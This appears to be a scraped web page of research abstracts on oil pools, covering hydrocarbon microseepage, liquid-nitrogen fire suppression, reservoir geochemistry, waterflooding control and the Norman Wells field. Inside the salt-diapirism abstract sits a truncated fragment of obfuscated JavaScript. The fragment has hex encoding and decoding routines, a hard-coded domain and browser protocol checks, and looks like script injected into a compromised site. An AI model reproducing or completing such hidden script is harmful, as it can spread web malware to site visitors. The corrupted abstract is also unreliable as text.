Oil Pools Research Articles

Integrated geo-microbial and trace metal anomalies for detection of hydrocarbon microseepage in Ahmedabad block of Cambay basin, India

The aim of the present work is to define the geo-microbial signatures along with trace metals, and to investigate whether the geo-microbial anomalies have correlation with trace metal anomalies in Ahmedabad block of Cambay basin. The surface geochemical techniques are based on seepage of light hydrocarbon gases from the oil and gas pools to the shallow surface and can bring up near-surface oxidation reduction zones that favor the development of a diverse array of chemical and mineralogical changes. The paper reports the role of hydrocarbon microseepage in surface alterations of trace metal concentrations and hydrocarbon oxidizing bacteria and its interrelationship. For the purpose a total of 90 soil samples are collected in grid pattern of 2 x 2 km interval. The paper reports the chemical alterations associated with trace metals in soils that are related to hydrocarbon microseepages above some of the major oil and gas fields of this petroliferous region. The concentrations of V (0 to149 ppm), Cr (2 to 192 ppm), Cu (4 to 171 ppm), Se (98 to 440 ppm), Zn (56 to 1215 ppm) are obtained. It is observed that the concentrations of trace elements are tremendously increased when they are compared with their normal concentrations in soils. In this study the hydrocarbon oxidizing bacterial counts ranged between 1.0 x 103 and 1.59 x 106 cfu/g of soil sample respectively. The attempt has made for the first time, which revealed good correlation as both these anomalies are found as apical in relation. Integrated studies between trace elements and hydrocarbon oxidizing bacterial anomalies showed positive correlation with existing oil and gas wells in the study area.

SPECIFIC FEATURES OF THE OIL POOL TRANSITION ZONES LOCATED BENEATH THE SOURCE ROCKS

The specifics of the transition zones of oil pools underlying the source rocks were determined on the basis of the secondary migration mechanisms analysis. The determined features permitted to explain different oil saturation coefficients and a different degree of the production water cut at equal height above the the free water table and equal porosity and permeability characteristics of the reservoir, which earlier was not possible in view of the capillarygravitational theory.

Application of a liquid nitrogen direct jet system to the extinguishment of oil pool fires in open space

Liquid fuel fires occurring during industrial processes are serious safety concerns around the world due to their devastating impact on lives, the environment and property. In this study, a liquid nitrogen delivery system was set up to extinguish the oil pool fires in open space. Effects of liquid nitrogen flow rate, pipe diameter, and liquid nitrogen release distance on the suppression process were analyzed according to the mass loss, burning rate and temperature variations. When liquid nitrogen release distance was 0.50 m and pipe diameter was 0.04 m, fire extinguishing time was the shortest 1.6 s and the temperature decrease rate above the liquid fuel surface reached 275°C/s. Fuel surface cooling and blow off process were revealed through the experiments as two kinds of fire extinguishing mechanisms. Based on the flame images captured by high speed camera, the flame expansion phenomenon might occur early in liquid nitrogen injection, especially the situation of the higher flow rate of liquid nitrogen. Three approaches (ground fixed system, moving transportation, and directional transportation of liquid nitrogen) are provided for fire extinguishment of large scale fires. The results obtained provide important reference for the conduct of fire extinguishment for fires. © 2016 American Institute of Chemical Engineers Process Saf Prog 36: 165–177, 2017

Identification to oil cracking in east of Sichuan Basin

In Sichuan basin the Lower Palaeozoic source rock has reached high to over-mature stage, but it is still considered that it has obvious genetic link with some gas reservoirs which were formed later. Therefore, the accumulation process between ancient high to over-mature source rock and the late formation of gas reservoirs has become one of the key factors to recognize the law of natural gas accumulation in Sichuan Basin. Based on some characteristics of Carboniferous gas reservoir in eastern basin, such as the gas compositions, stable carbon isotope, it is found that the gas reservoir is oil-cracking gas. The result reveals that the formation and evolution of present gas reservoir is that an ancient oil pool experienced the processes of forming, accumulating, destructing, and thermal maturating and cracking into gas reservoir.

Thermal environment induced by jatropha oil pool fire in a compartment

This article evaluates the burning characteristics of jatropha oil pool fire. Experiments have been carried out in a compartment of size 4 m × 4 m × 4 m, with a door opening of 1 m × 2 m for ventilation purpose. Crude jatropha oil is burned in a pool diameters of 0.3, 0.4, 0.5 and 0.6 m and having an initial fuel depth of 0.045 m. Heat release rate, mass loss rate, exhaust gases concentration (CO2 and O2), profiles of flame temperature, flame height, room corner temperature, door temperature and heat flux at different locations have been recorded. The smoke layer interface is also estimated by means of a thermocouple tree with 19 thermocouples using the integral ratio method. Experimental results showed that the flame temperature profile is similar for all four experiments. Maximum heat release rate achieved is 312.5 kW for the pool size of 0.6 m, and corresponding average mass loss rate is 8.62 g s−1. Also the interface height determined by visual method and integral ratio method matched well during the steady profile phase.

Hydrolytic Cleavage of Paraoxon by Octanohydroxamate Ion in Cationic Microemulsions

ABSTRACTThe hydrolysis reaction of O,O‐diethyl O‐p‐nitrophenylphosphate (Paraoxon) with the octanohydroxamate ion (OHA−) was studied in a cationic oil‐in‐water (O/W) microemulsion system over a pH range 7.5–12.0 at 300 K. The O/W systems are stabilized by using cationic surfactant, cetyltrimethylammonium bromide (CTAB), and n‐butanol as cosurfactants. In a microemulsion, the rate enhancement by OHA− is greater toward the cleavage of paraoxon than its spontaneous (2.1 × 107 s−1) hydrolysis. The kobs values for the reaction of paraoxon with OHA− were determined in different microemulsion compositions with varying chain length of alcohols (n‐butanol, n‐pentanol, n‐octanol, and n‐dodecanol) and alkanes (n‐hexane, n‐heptane, and n‐decane). The effects of water content, pH, and size of the oil pool have been discussed.

Convolution effect on TCR log response curve and the correction method for it

Through-casing resistivity (TCR) logging has been successfully used in production wells for the dynamic monitoring of oil pools and the distribution of the residual oil, but its vertical resolution has limited its efficiency in identification of thin beds. The vertical resolution is limited by the distortion phenomenon of vertical response of TCR logging. The distortion phenomenon was studied in this work. It was found that the vertical response curve of TCR logging is the convolution of the true formation resistivity and the convolution function of TCR logging tool. Due to the effect of convolution, the measurement error at thin beds can reach 30% or even bigger. Thus the information of thin bed might be covered up very likely. The convolution function of TCR logging tool was obtained in both continuous and discrete way in this work. Through modified Lyle-Kalman deconvolution method, the true formation resistivity can be optimally estimated, so this inverse algorithm can correct the error caused by the convolution effect. Thus it can improve the vertical resolution of TCR logging tool for identification of thin beds.

AGNI-DRILL - A COMPLEX DRILLING FLUID FOR DRILLING IN KYNOVSK MUDSTONES

Oil pools developed by PJSC «Tatneft» are mainly confined to the Devonian deposits, the top of which is represented by Kynovsk argillites. The construction of a horizontal wellbore in the Upper Devonian terrigenous strata (D0) is complicated by the geological structure of this complex, which leads to complications related with maintaining aborehole stability. The results of the proposed complex drilling fluid AGNI-Drill study prove its effectiveness in drilling wells to the complicated areas.

Rebound of continuous droplet streams from an immiscible liquid pool

We report on the rebound of high velocity continuous water droplet streams from the surface of an immiscible oil pool. The droplets have diameters and velocities of less than 90 μm and 15 m/s, respectively, and were created at frequencies up to 60 kHz. The impact and rebound of continuous droplet streams at this scale and velocity have been largely unexplored. This regime bridges the gap between single drop and jet impacts. The impinging droplets create a divot at the surface of the oil pool that had a common characteristic shape across a wide-range of droplet and oil properties. After impact, the reflected droplets maintain the same uniformity and periodicity of the incoming droplets but have significantly lower velocity and kinetic energy. This was solely attributed to the generation of a flow induced in the viscous oil pool by the impacting droplets. Unlike normally directed impact of millimeter-scale droplets with a solid surface, our results show that an air film does not appear to be maintained beneath the droplets during impact. This suggests direct contact between the droplets and the surface of the oil pool. A ballistic failure limit, correlated with the Weber number, was identified where the rebound was suppressed and the droplets were driven through the oil surface. A secondary failure mode was identified for aperiodic incoming streams. Startup effects and early time dynamics of the rebounding droplet stream were also investigated.

New approach to assessing the prospects of oil and gas pools on the discovery of oil and gas based on deep concept of formation and use of a wide range of aerospace, morphometric, geological and geophysical data

After investigations of the zone of the hydrocarbon fields by upgraded methods for oil and gas assemblages it is possible to prove position of searching well (wells) on traps of anticline as well nonanticline type. Essential peculiarities of this wells will be high predicted debits of hydrocarbons.

Fire extinguishment behaviors of liquid fuel using liquid nitrogen jet

Liquid nitrogen for liquid fuel fires extinguishing is still a new and hot topic. Fire extinguishment behaviors of liquid nitrogen are not yet fully understood, and the related research is still in its infancy. In this article, a flexible liquid nitrogen jet system was set up to examine the process of liquid nitrogen interacting with the pool fire in an open space. The main objective of this article is to compare the extinguishment behaviors of vertical/horizontal jet of liquid nitrogen for extinguishing oil pool fires by the measurements of weight, thermocouples temperature, and infrared thermal image. As a result, experiment discovered that liquid nitrogen has a satisfactory performance for the pool firefighting. And the horizontal jet of liquid nitrogen is more effective than the vertical jet in terms of fire extinguishing time and the required amount of liquid nitrogen. The shape of fire flame during the period of horizontal liquid nitrogen jet was completely different from that during the period of vertical liquid nitrogen jet. The fire extinguishing mechanism of vertical/horizontal liquid nitrogen jet was revealed, respectively. © 2016 American Institute of Chemical Engineers Process Saf Prog, 2016

Optimal feedback control of oil reservoir waterflooding processes

Waterflooding is a process where water is injected into an oil reservoir to supplement its natural pressure for increment in productivity. The reservoir properties are highly heterogeneous, its states change as production progresses which require varying injection and production settings for economic recovery. As water is injected into the reservoir, more oil is expected to be produced. There is also likelihood that water is produced in association with the oil. The worst case is when the injected water meanders through the reservoir, it bypasses pools of oil and gets produced. Therefore, any effort geared toward finding the optimal settings to maximize the value of this venture can never be over emphasized. Waterflooding can be formulated as an optimal control problem. However, traditional optimal control is an open-loop solution, hence cannot cope with various uncertainties inevitably existing in any practical systems. Reservoir models are highly uncertain. Its properties are known with some degrees of certainty near the well-bore region only. In this work, a novel data-driven approach for control variable (CV) selection was proposed and applied to reservoir waterflooding process for a feedback strategy resulting in optimal or near optimal operation. The results indicated that the feedback control method was close to optimal in the absence of uncertainty. The loss recorded in the value of performance index, net present value (NPV) was only 0.26%. Furthermore, the new strategy performs better than the open-loop optimal control solution when system/model mismatch was considered. The performance depends on the scale of the uncertainty introduced. A gain in NPV as high as 30.04% was obtained.

Organic geochemical evaluation of hydrocarbons in Lower Cretaceous Middle Minagish reservoir, Kuwait

Organic petrography and geochemical analyses of 72 core samples from the Minagish Formation revealed vertical variations in oil composition between four wells from the Burgan, Maqwa, Minagish and Umm-Gudair fields. The Burgan Field has a homogeneous oil column while variations in oil column were recognized between fields. The thickest heavy oil column, 46 m, was identified in Minagish Field. GC and GC-MS of the light and intermediate parts of the oil indicates a similar oil type, with a common oil pool in all of the oil fields. Thus, the variation in the nature and distribution of the heavy fractions of the oil in the Minagish reservoir is not be related to the source rock, expulsion and/or oil migration, but related to changes that occurred after or during oil accumulation in the reservoir.The methods and the results of this study are useful for planning drilling specially in reservoirs with heavy oil intervals such as the Minagish reservoir.

EXPLOSION BRECCIAS – LITHOGEODYNAMIC INDICATOR OF INITIAL STAGE OF SALT DIAPIRISM

The near-diapir explosive breccias are of special informative significance as a possibility for the elucidation of the role of endogenic factors of salt diapirism. The paper deals with results of their study on evidence of deep drilling in Skorobogatkovsko-Pesochanskaya complexly-built salt-dome structure situated above apical part of Dnieper-Donets plume – the main total controlling factor of tectogenesis and naphtidogenesis in central – SE segment of Dnieper-Donets depression (with maximum deep, stratigraphic and phase-geochemical ranges of petroleum potential). The explosion breccias genetically connected with carbonatite and kimberlite magmatism are established apart from caprock. They are lithogeodynamic indicators of the initial stage of salt diapirism had been preceded by location of magmatic reservoirs (in knots of rift faults intersections) following by their differentiation into non-mixing carbonatite, kimberlite magmas and salt melt. They had initiated the origin of explosion tubes. Subsequent development of those tubes is connected with intrusion and following linking up of halokinesis. Further stages of salt diapirism progradation are connected with different-aged phases of tectonic-thermal activisation to be followed by their pushing out from explosion tubes, displacement of their remnants into the periphery of salt domes and intensive hydrothermal metasomatic transformation. Availability of relict signs of carbonatite and kimberlite nature of explosion near-diapir breccias allow to raise the question as to connected with giant salt diapirs prospects of searching not only oil and gas pools and brines, lead-zinc, copper, sulphur, boron, uranium deposits but also rare metals and diamonds. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Oil content and fatty acid composition of soybean (Glysine max L.) genotypes evaluated under rainfed conditions of Kashmir Himalayas in India

Soybean (Glycine max), a multipurpose crop with much appreciated nutritional and functional properties, has generated a lot of interest during last few decades for improving its cultivation and characteristics. Besides having a great potential of energy-protein malnutrition eradication, it can contribute greatly to edible oil pool in the region. This study investigates some agro-morphological characters, besides seed oil content and fatty acid composition of two local soybean genotypes labeled as S/D-18 and S/D-22 grown under rainfed conditions of Kashmir Himalayas in India. The genotype S/D-22 matured earlier than that of S/D-18. Seed yield/plant of 18.5 g (S/D-18) and 20.1g (S/D-22) was recorded in these genotypes with 100-seed weight of 14.3 g and 14.7 g respectively. Seeds of genotype S/D-18 yielded an oil content of 19.54% while in genotype S/D-22 oil content of 19.74% was recorded. Fatty acids of myristic, palmitic, stearic, oleic, linoleic and linoleinic were detected and quantified in the oil extracted from the seeds of these genotypes. Saturated fatty acids constituted 11.88%(S/D-18) and 11.42%(S/D-22) while unsaturated fatty acids constituted 88.12% (S/D-18) and 88.58% (S/D-22) of the oil. The study has thus, revealed that under dry land conditions, although soybean seed yield/plant is lesser, percentage oil content and fatty acid composition essentially remained unaltered and that significant differences can occur in individual fatty acid contents between genotypes.

DIFFERENCES OF ANTIBACTERIAL ACTIVITY SPECTRA AND PROPERTIES OF BACTERIOCINS, PRODUCED BY GEOBACILLUS SP. BACTERIA ISOLATED FROM DIFFERENT ENVIRONMENTS

Ability of bacteriocins to inhibit pathogenic bacteria may depend on the environment inhabited by the producing strain. However, there are just few reports on bacteriocin-producing thermophilic bacteria from unconventional environments. Therefore, in this work we investigated differences in antibacterial activity spectra of microorganisms isolated from two different environments: the oil wells (first collection) and surface soil above the oil pools (second collection). All strains were Gram-positive, rod-shaped, thermophilic and endospore forming bacteria. Using spot-on-lawn method we have demonstrated that strains from the second collection possess higher and broader antibacterial activity spectra than first collection strains. Furthermore, all strains were active against at least 1 of 19 tested pathogenic bacteria. Analysis of antibacterial compounds has shown that all of them were stable in broad temperature and pH ranges, sensitive to proteolytic enzymes, proving their proteonaceus nature. They were all secreted during the exponential growth phase and active against closely related thermophilic bacteria, which suggest that these substances are most likely bacteriocins. Most of the bacteriocins had molecular masses under 20 kDa. Plasmid isolation and elimination experiments suggest that bacteriocins are most likely chromosome-encoded. Our results confirm the differences between antibacterial spectra of bacteriocins produced by bacterial strains isolated from different environmental niches.

Optimization Problems with Periodic Boundary Conditions and Boundary Control for Gas-Lift Wells

We consider a gas-lift process averaged over time. It is assumed that the gas-liquid mixture formed in the mixing zone on the boundary of the annular space and the oil pool is delivered to the lift via impulsive systems. Since the gas-liquid mixture directed from the mixture zone to the exit of the well is not completely transferred, in order to get the maximum output of the well for the minimum initial volume of the gas, we assume that the volumes of gas-liquid mixture at the entrance and exit of the lift are identical, i.e., impose the conditions of periodicity. We propose an algorithm for the solution of this problem based on the method of finding extrema with the use of numerical quasilinearization and Euler procedures realized in the MATLAB package. The results are illustrated by an example showing that the proposed approach results in a significant increase in the output of the well.

Microwave Electromagnetic Method of Melting the Paraffin Plug in an Open Coaxial System

The formation of the temperature profile in an open coaxial system with a paraffin plug interacting with a microwave electromagnetic field has been investigated experimentally. It has been shown that the temperature distribution in the pipes is nonuniform, corresponding to the standing electromagnetic wave formed in the interelectrode space by the reflection of electromagnetic waves from the oil pool and the coaxial line inhomogeneities. The presence of paraffin in the interpipe space accelerates the process of melting throughout the coaxial system.

Thermal Acid Treatment of the Near-Well Zone of the oil Pool

The problem of thermal acid treatment of the near-well zone of the oil pool has been investigated. We present a mathematical model describing the thermohydrodynamic processes proceeding in the above zone upon its thermal acid treatment with account for the chemical kinetics of these processes. The infl uence of the temperature on the above processes has been investigated.

Oil migration driven by exhumation of the Canol Formation oil shale: A new conceptual model for the Norman Wells oil field, northwestern Canada

Thermal history, petroleum system, structural, and tectonic constraints are reviewed and integrated in order to derive a new conceptual model for the Norman Wells oil field, and a new play type for tectonically active foreland regions. The thermal history recorded by Devonian rocks suggests that source rocks experienced peak thermal conditions in the Triassic–Jurassic, during which time oil was likely generated. After initial oil generation and expulsion, the Canol Formation oil shale retained a certain fraction of hydrocarbons. The shallow reservoir (650–350 m) is a Devonian carbonate bank overlain by the Canol Formation and resides within a hanging wall block of the Norman Range thrust fault. Both reservoir and source rocks are naturally fractured and have produced high API non-biodegraded oil. Thrust faults in the region formed after the Paleocene, and a structural cross-section of the field shows that the source and reservoir rocks at Norman Wells have been exhumed by over 1 km since then.The key proposition of the exhumation model is that as Canol Formation rocks underwent thrust-driven exhumation, they crossed a ductile–brittle transition zone and dip-oriented fractures formed sympathetic to the thrust fault. The combination of pore overpressure and new dip-directed subvertical fractures liberated oil from the Canol Formation and allowed for up-dip oil migration. Reservoir rocks were similarly fractured and improved permeability enhanced charging and pooling of oil. GPS and seismicity data indicate that strain transfer across the northern Cordillera is a response to accretion of the Yakutat terrane along the northern Pacific margin of North America, which is also the probable driving force for foreland shortening and rock exhumation at Norman Wells.